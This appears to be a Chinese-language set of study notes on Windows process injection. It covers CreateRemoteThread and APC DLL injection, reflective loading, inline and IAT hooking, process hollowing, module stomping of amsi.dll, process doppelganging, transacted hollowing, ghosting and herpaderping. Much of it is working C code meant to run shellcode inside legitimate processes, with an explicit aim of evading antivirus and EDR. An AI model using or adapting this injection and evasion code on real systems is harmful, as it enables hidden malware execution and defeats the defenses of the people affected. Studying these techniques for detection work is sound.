process-injection

学习一些基础的windows注入方式

代码仓库

https://github.com/0range-x/windows/tree/main/injection

CreateRemoteThread

原理:

大多数Windows函数只允许一个进程对它自己操作,用来防止一个进程破坏另一个进程。但是,Windows提供了一些函数来让一个进程对另一个进程操作。

使用CreateRemoteThread 函数在其他进程空间中创建一个线程。

首先,程序在加载dll时,通常调用LoadLibrary 函数来实现dll的动态加载,loadlibrary只有一个参数,传递的是需要加载的dll路径字符串。

程序首先获取目标进程空间某个dll字符串的地址,将loadlibrary函数的地址作为多线程函数的地址,某个dll字符串作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间创建一个多线程

实现思路

1
2
3
4
5
6
1.获取被注入进程PID。
2.在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
3.使用openOpenProcess()函数获取被注入进程句柄。
4.使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
5.使用GetProcAddress()函数在当前进程加载的kernel32.dll找到LoadLibraryA函数的地址。
6.通过CreateRemoteThread()函数来调用LoadLibraryA()函数,在被注入进程新启动一个线程,使得被注入进程进程加载恶意的DLL。

获取进程pid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}

PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;

if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}

CloseHandle(hSnapshot);
return 0;
}
1
2
3
4
5
6
7
8
9
int main()
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"fg.exe"));
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
return 0;
}

image-20221012133914979

apc注入

原理:

apc为异步过程调用,指函数在指定线程中被异步执行。在Windows系统中,每个线程都会维护一个线程apc队列,通过QueryUserApc 把一个apc函数田家达奥指定线程的apc队列中。每个线程都有自己的apc队列,这个apc队列记录了要求线程执行的一些apc函数。

一个进程包含多个线程,为了确保能够执行插入的apc,应该向目标进程的所有线程都插入相同的apc,实现加载dll的操作。这样,只要唤醒进程中的任意线程,开始执行apc的时候,便会执行插入的apc函数,实现dll注入

步骤:

可以看到需要找到目标线程,那么我们肯定是需要获取线程id,而在这之前需要先获取进程id,之后和远程线程注入的区别就在于 使用apc函数注入

获取线程id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId){
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
// 获取线程快照
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

// 获取第一条线程快照信息
bRet = Thread32First(hSnapshot, &te32);
while (bRet){
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId){
return te32.th32ThreadID;
}
// 遍历下一个线程快照信息
bRet = Thread32Next(hSnapshot, &te32);
}
return 0;
}

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int main(int argc, char* argv) {
FARPROC pLoadLibrary = NULL;
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD dwTID = 0;
DWORD dwPID = 0;
BYTE dllname[] = "C:\\users\\hack\\desktop\\test\\Dll.dll";
LPVOID lpAddr = NULL;
dwPID = GetProcessIdByName((LPCTSTR)"fg.exe");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwPID);
if (hProcess == NULL) {
printf("[-] Failed to OpenProcess. Error: %d", GetLastError());
return -1;
}
pLoadLibrary = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibrary == NULL) {
printf("[-] Failed to GetProcAddress. Error: %d", GetLastError());
return -1;
}
lpAddr = VirtualAllocEx(hProcess, 0, sizeof(dllname) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL) {
printf("[-] Failed to VirtualAllocEx. Error: %d", GetLastError());
return -1;
}
if (!WriteProcessMemory(hProcess, lpAddr, dllname, sizeof(dllname) + 1, NULL)) {
printf("[-]Failed to WriteProcessMemory. Error: %d", GetLastError());
return -1;
}

dwTID = GetAllThreadIdByProcessId(dwPID);
hThread = OpenThread(THREAD_ALL_ACCESS, TRUE, dwTID);
if (hThread == NULL) {
printf("[-] Failed to OpenThread. Error: %d", GetLastError());
return -1;
}
QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)lpAddr);
printf("[+] Inject successfully.\n");
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}

错误总结:

1
2
1.分配内存时 VirtualAllocEx 的第4个参数 只能用MEM_COMMIT,表示当前内存正在被使用 ,不能使用MEM_RELEASE
2.测试失败,调试了很久,每一步都没报错,就是没有办法弹窗,在Win10 和win7 测试

Reflective 注入

关键在于reflectiveloader

原理:

不依赖于Windows提供的loadlibrary 函数,设计者自己在程序内实现pe的内存展开,由于是自己实现,所以不会在操作系统中有记录。以及可以对展开的pe文件做一些处理,比如抹除dos头,同时不会再peb的ldr链表中记录。

步骤实现

1
2
3
4
5
1.获取被注入进程为解析的dll的及地址
2.获得dll句柄和函数为修复导入表做准备
3.分配一块新内存去解析dll,并把pe头复制到新内存中和将各节复制到新内存中
4.修复重定向表和导入表
5.执行dllmain函数

在反射dll时,我们需要将dll的所有依赖库加载到当前进程中,并修复IAT以确保dll导入的函数指向当前进程内存空间的正确函数地址。为了加载依赖库,需要遍历所有的 Import Descriptor 。

在读取并加载相应的库之后,我们需要遍历所有thunk,使用GetProcAddress 解析他们的地址并将他们放入IAT中,以便dll可以在需要时引用他们。

在这之后,IAT修复完毕,可以执行dll了。

tips:

1
2
DWORD_PTR 这个类型可以放下一个DWORD类型 并且放下一个指针,在64位的环境下混用很可能造成程序越界崩溃
*_ptr 是在64位的新类型用来代替32位下的DWORD

代码

https://github.com/0range-x/windows/blob/main/injection/reflective.cpp

API Hook

Inline Hook覆盖代码 -修改函数代码

可以看到这里代码有一点麻烦,相比较IAT hook,需要去看硬编码,但是如果函数不是以 LoadLibrary加载,就不会出现在导入表里,IAT hook就无法使用,只能使用InLine hook

以messageboxA为例

1
2
3
4
5
6
7
1.获取MessageBoxA 函数的内存地址
2.读取MessageBoxA的前6个字节
3.创建一个hook函数 在被hook函数执行的时候执行
4.获取hook函数的内存地址
5.patch 被hook函数,重定向到hook函数
6.调用被hook函数
7.执行hook函数

messageboxA的地址76E60570

代码仓库:

https://github.com/0range-x/windows/blob/main/injection/jmphook.cpp

IAT hook -修改函数地址

其中IAT hook前后的区别

hook前

1
2
3
1.调用messageBoxA函数
2.程序在IAT中查找MessageBoxA的地址
3.代码执行跳转到第二步解析的地址

hook后

1
2
3
4
5
6
1.像hook之前一样调用MessageBoxA
2.在IAT中查找MessageBoxA的地址
3.因为IAT被修改,IAT中MessageBoxA的地址指向了hookedMessagebox函数地址
4.程序跳转到hookedMessagebox
5.hookedmessagebox 函数拦截MessageBoxA参数并执行一些恶意代码
6.hookedMessageBox 调用合法的MessageBoxA例程

说明:

IAT hook通常由诸如目标进程的dll执行,为了简便,在下面的例子中,IAT hook 是在本地进程实现的

IAT hook大致步骤:

1
2
3
4
5
1.保存原来的MessageBoxA内存地址
2.定义MessageBoxA函数原型
3.使用上述原型创建一个HookedMessagebox函数
4.解析IAT表,直到找到MessageBoxA的地址
5.用hookedMessagebox的地址替换MessageBoxA的地址

IATHook

https://github.com/0range-x/windows/blob/main/injection/IAThook.cpp

hollowing

进程镂空,又叫傀儡进程,是一种防御规避的进程注入技术,主要思想是写在合法进程的内存,写入恶意软件的代码,伪装成合法进程进行恶意活动。

看到有些文章说需要取消生成重定位表,但是我这里没有取消,也是可以正常镂空注入成功的,是因为在使用VirtualAllocEx申请内存空间是,将傀儡进程的ImageBaseAddress作为申请空间的首地址,这样就避免了重定位的问题。

image-20221018162621742

peb偏移8个字节处, 这个进程的装载地址,就是pe可选头里的imagebase

image-20221019111241988

两种方式:

1
2
1.镂空已有进程模块:直接修改进程中已有模块的代码节,注入恶意代码
2.先注入后镂空:注入一个合法dll(拥有合法签名),然后修改dll入口点出代码为自己想执行的代码

process hollowing

img

可以看到进程中是没有fg.exe这一项的,比较隐蔽

image-20221019002721682

大致流程

1
2
3
4
5
6
1.创建一个挂起的合法进程(CreateProcess  CREATE_SUSPENDED)
2.清空新进程的内存数据(NtUnmapViewofSection)
3.申请新的内存(VirtualAllocEx)
4.向内存中写入shellcode(WriteProcessMemory)
5.设置入口点(SetThreadContext)
6.恢复进程执行shellcode(ResumeThread)

实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

BOOL hollowing(char path[]) {

PVOID FileBuffer;
HANDLE hFile;
DWORD FileReadSize;
DWORD dwFileSize;

PVOID RemoteImageBase; //peb中可执行映像的基址
PVOID RemoteProcessMemory; //镂空进程中分配的内存空间

STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 }; //进程句柄修改内存空间
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si);
//创建一个挂起的进程
BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

//给恶意代码分配内存空间
hFile = CreateFileA(path, GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
dwFileSize = GetFileSize(hFile, NULL);
FileBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//将磁盘文件读取到申请的内存空间
ReadFile(hFile, FileBuffer, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)FileBuffer;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((LPBYTE)FileBuffer + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pPEHeader = (PIMAGE_FILE_HEADER)(((DWORD)pNtHeader) + 4);
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSectionHeader;

//获取挂起进程的线程上下文
GetThreadContext(pi.hThread, &ctx);

//x86环境从ebx寄存器中获取peb地址,并从peb中目标进程的基址(偏移8个字节)到RemoteImageBase
//可选头中的imagebase
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);

//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
//挖空已加载的地址
if ((SIZE_T)RemoteImageBase == pNtHeader->OptionalHeader.ImageBase)
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase);

//为可执行映像分配新内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pOptionHeader->ImageBase, pOptionHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileBuffer, pOptionHeader->SizeOfHeaders, NULL);

//逐段写入
for (int i = 0; i < pPEHeader->NumberOfSections; i++)
{
pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)FileBuffer + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeader->VirtualAddress), (PVOID)((LPBYTE)FileBuffer + pSectionHeader->PointerToRawData), pSectionHeader->SizeOfRawData, NULL);
}

//更改程序入口点
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pOptionHeader->AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pOptionHeader->ImageBase, sizeof(PVOID), NULL);

//设置线程上下文
SetThreadContext(pi.hThread, &ctx);
//恢复挂起线程
ResumeThread(pi.hThread);

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}

不足之处

1
2
3
4
1.Unmap 目标进程的exe模块,比较可疑,现在的杀软一般都会检测Unmap
2.如果没有Unmap,而是直接覆写程序,那么覆写地址的页属性就不是共享的,也很可疑
3.在内存中的pe映像与在硬盘中不同

规避流程

image-20221103233102407

dll hollowing(Module Stomping)

先注入后镂空:注入一个合法dll(拥有合法签名),然后修改dll入口点出代码为自己想执行的代码

优点

1
2
3
1.不会分配RWX内存页面
2.不会更改dll在目标进程中的权限
3.shellcode被注入到合法的 Windows dll中

缺点

1
2
ReadProcessMemory/WriteProcessMemory  api调用通常是由调试器而不是正常程序使用。
可以只用NtMapViewOfSection 将shellcode注入远程进程,减少对WriteProcessMemory的调用

大致流程

1
2
3
4
5
1.远程注入一个系统dll
2.获取该模块在目标进程的虚拟地址
3.定位模块的入口点
4.修改入口点为shellcode的入口点
5.创建远程线程

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}

PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;

if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}

CloseHandle(hSnapshot);
return 0;
}

void ModuleStomping(LPCTSTR lpszProcessName,unsigned char *shellcode) {
char ModuleName[] = "C:\\windows\\system32\\amsi.dll";
HMODULE hModules[256] = {};
SIZE_T hModulesSize = sizeof(hModules);
DWORD dwhModulesSizeNeeded = 0;
DWORD dwmoduleNameSize = 0;
SIZE_T hModulesCount = 0;
char rModuleName[128] = {};
HMODULE rModule = NULL;


//注入一个起始dll到远程进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIdByName(lpszProcessName));
//分配待注入dll大小的内存空间
LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, sizeof(ModuleName), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//将dll写进 远程进程的内存空间
WriteProcessMemory(hProcess, lpBuffer, (LPVOID)ModuleName, sizeof(ModuleName), NULL);
//显式加载
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
//执行该dll
HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, threadRoutine, lpBuffer, 0, NULL);
WaitForSingleObject(dllThread, 1000);


//枚举notepad加载的所有dll模块,存放到hModules数组中
EnumProcessModulesEx(hProcess, hModules, hModulesSize, &dwhModulesSizeNeeded, LIST_MODULES_ALL);
hModulesCount = dwhModulesSizeNeeded / sizeof(HMODULE);
//循环所有dll找到我们刚刚load的 amsi.dll
for (size_t i = 0; i < hModulesCount; i++){
rModule = hModules[i];
GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName));
if (strcmp(rModuleName, "amsi.dll") == 0)
break;
}

//获取dll的程序入口点
DWORD headerBufferSize = 0x1000; //申请一页的内存空间
LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);

ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)peHeader;
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + pDosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(pNTHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);

//在dll的入口点写入shellcode
WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

//执行shellcode
CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
CloseHandle(hProcess);
CloseHandle(dllThread);
}

实现效果

image-20221020154416080

image-20221020154716646

看下这个线程的地址,执行的是我们的shellcode

image-20221020155051688

Process Doppelganging

该方法在2017年的bh上提出

优点

1
1.避免了特殊的内存操作,比如SuspendProcess 和 NtUnmapViewOfSection

img

简要流程

1
2
3
4
5
6
7
8
1.打开一个正常文件,创建一个transaction(NtCreateTransaction)
2.打开源程序句柄(CreateFileTransacted)
3.向源程序句柄写入shellcode(CreateFile,CreateFileMapping,MapViewOfFile,VirtualAlloc,memcpy,WriteFile)
4.根据此时的文件内容,创建一个section(NtCreateSection)
5.回滚到修改事务之前的状态,抹去一系列更改操作(RollbackTransaction)
6.通过刚刚创建的section,创建进程(NtCreateProcessEx)
7.准备参数到目标进程(跨进程)
8.创建初始线程(NtCreateThreadEx),之后唤醒线程(NtResumeThread)

在win10 复现失败

image-20221020165055844

针对错误代码 c0000022 权限不足的问题,换一个 创建进程的api,CreateProcessInternalW,该api并没有在kernel32中导出,因此需要自己实现

http://a-twisted-world.blogspot.com/2008/03/createprocessinternal-function.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#pragma once

#include <Windows.h>

//don't forget to load functiond before use:
//load_kernel32_functions();
//

BOOL
(WINAPI *CreateProcessInternalW)(HANDLE hToken,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation,
PHANDLE hNewToken
);


BOOL load_kernel32_functions()
{
HMODULE hKernel32 = GetModuleHandleA("kernel32");
CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW");
if (CreateProcessInternalW == NULL) return FALSE;

return TRUE;
}

而使用此api替换NTcreateprocess 的方法,结合process hollowing,衍生出了transacted hollowing

先简单来说下NTFS,我们可以在transaction中创建一个文件,在commit transaction之前,对于其他进程来说,这个文件是不可见的,比如(AV、edr)所以写入shellcode是较为隐蔽的一种方式

Transacted Hollowing

https://www.malwarebytes.com/blog/news/2018/08/process-doppelganging-meets-process-hollowing_osiris

https://github.com/hasherezade/transacted_hollowing

大致流程

1
2
3
4
5
6
7
8
1.打开一个正常文件,创建一个transaction(NtCreateTransaction)
2.打开源程序句柄(CreateFileTransacted)
3.向源程序句柄写入shellcode(CreateFile,CreateFileMapping,MapViewOfFile,VirtualAlloc,memcpy,WriteFile)
4.根据此时的文件内容,创建一个section(NtCreateSection)
5.回滚到修改事务之前的状态,抹去一系列更改操作(RollbackTransaction)
6.通过刚刚创建的section,创建挂起进程(CreateProcessInternalW)
7.映射section到目标进程内存(NtMapViewOfSection) 返回shellcode在目标进程内存中的初始地址(sectionBaseAddress)
8.设置进程参数并修补远程进程的peb(NtQueryInformationProcess)

该方法结合了doppel的事物特性和 process hollowing,且通过api的替换修复了doppel中的权限不足的问题。

img

效果演示

创建的挂起进程为notepad.exe,指定payload为计算器,transaction file为 1.txt

image-20221026104451112

Process Ghosting

https://www.elastic.co/cn/blog/process-ghosting-a-new-executable-image-tampering-attack

https://github.com/hasherezade/process_ghosting

在Windows中,如果映射可执行程序到内存中,那么可执行程序就不应该被修改,如果尝试修改返回错误。

这个限制针对已经映射到内存中的程序。 process ghosting利用了其中的设计缺陷,以Generic_readGeneric_write权限打开文件,对其设置删除标志,将shellcode写入到文件中,然后映射文件到内存中,最后删除这个文件。

image-20221025142025472

实现步骤

1
2
3
4
5
6
1.打开文件 (NtOpenFile)
2.设置删除标志 (NtSetInformationFile FILE_DISPOSITION_INFORMATION.DeleteFile = true)
3.修改文件写入shellcode(NtWriteFile)
4.创建section(NtCreateSection)
5.关闭删除挂起句柄,删除文件(NtClose)
6.使用section创建一个进程(NtCreateProcess)

在Windows上删除文件有多种方法

1
2
3
1.在旧文件上创建一个新文件,并设置 FILE_SUPERSEDE 或 CREATE_ALWAYS flag
2.在创建文件时设置 FILE_DELETE_ON_CLOSE 或 FILE_FLAG_DELETE_ON_CLOSE flag
3.通过 NtSetInformationFile 调用FileDispositionInformation文件信息类时,将FILE_DISPOSITION_INFORMATION结构中的Deletefile设置为true

这里采用了第三种方法

这里会创建一个tmp文件,是一个检测点

image-20221024162837016

修改进程参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
RtlCreateProcessParametersEx(&processParameters, &uTargetFile, &uDllPath, NULL,
&uTargetFile, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED);

// 在目标进程为参数分配内存
PVOID paramBuffer = processParameters;
SIZE_T paramSize = processParameters->EnvironmentSize + processParameters->MaximumLength;
//为paramBuffer分配内存
status = NtAllocateVirtualMemory(hProcess, &paramBuffer, 0, &paramSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status)) {
perror("[-] Unable To Allocate Memory For Process Parameters...\n");
exit(-1);
}
printf("[+] Allocated Memory For Parameters %p\n", paramBuffer);
// 将进程参数写入目标进程
status = NtWriteVirtualMemory(hProcess, processParameters, processParameters,
processParameters->EnvironmentSize + processParameters->MaximumLength, NULL);
PEB* remotePEB;
remotePEB = (PEB*)pbi.PebBaseAddress;
// 修改目标进程peb的进程参数
if (!WriteProcessMemory(hProcess, &remotePEB->ProcessParameters, &processParameters, sizeof(PVOID), NULL)) {
perror("[-] Error Updating Process Parameters!!\n");
exit(-1);
}

Ghostly Hollowing

和transacted hollowing类似,将创建进程那一部分

https://github.com/hasherezade/transacted_hollowing

image-20221024230139418

大致步骤

1
2
3
4
5
6
7
8
1.打开文件 (NtOpenFile)
2.设置删除标志 (NtSetInformationFile FILE_DISPOSITION_INFORMATION.DeleteFile = true)
3.修改文件写入shellcode(NtWriteFile)
4.创建section(NtCreateSection)
5.关闭删除挂起句柄,删除文件(NtClose)
6.使用section创建一个进程(NtCreateProcess)
7.分配进程参数和环境变量(RtlCreateProcessParametersEx、NtAllocateVirtualMemory)
8.创建线程在进程中执行(NtCreateThread)

process Herpaderping

https://github.com/jxy-s/herpaderping

image-20221027234502944

根据上图,可以看到该方法的大致流程

1
2
3
4
5
6
7
1.打开文件 (CreateFile)
2.向文件写入payload(WriteFile)
3.创建section映射到内存(NtCreateSection,SEC_IMAGE)
4.创建进程A(NtCreateProcessEx)
5.向第二步中的同一个文件写入任意内容比如字符串
6.关闭并保存文件为xx.tmp ,文件保存到磁盘,磁盘的内容是上一步写的字符串()
7.准备进程参数并创建线程()

该方法通过在映射到内存后修改磁盘上的内容来掩盖进程的目的,关键步骤是 向文件写入shellcode映射到内存后再修改磁盘上的文件。

image-20221028004227315

image-20221028004250790

image-20221028093107278

计算器被写入目标文件

image-20221028093423776

目标文件被映射到内存中,实际上映射的是上一步中的计算器

image-20221028093454512

计算器通过tmp文件执行

image-20221028093840014

参考文章:

https://github.com/hasherezade/process_doppelganging

https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/

https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations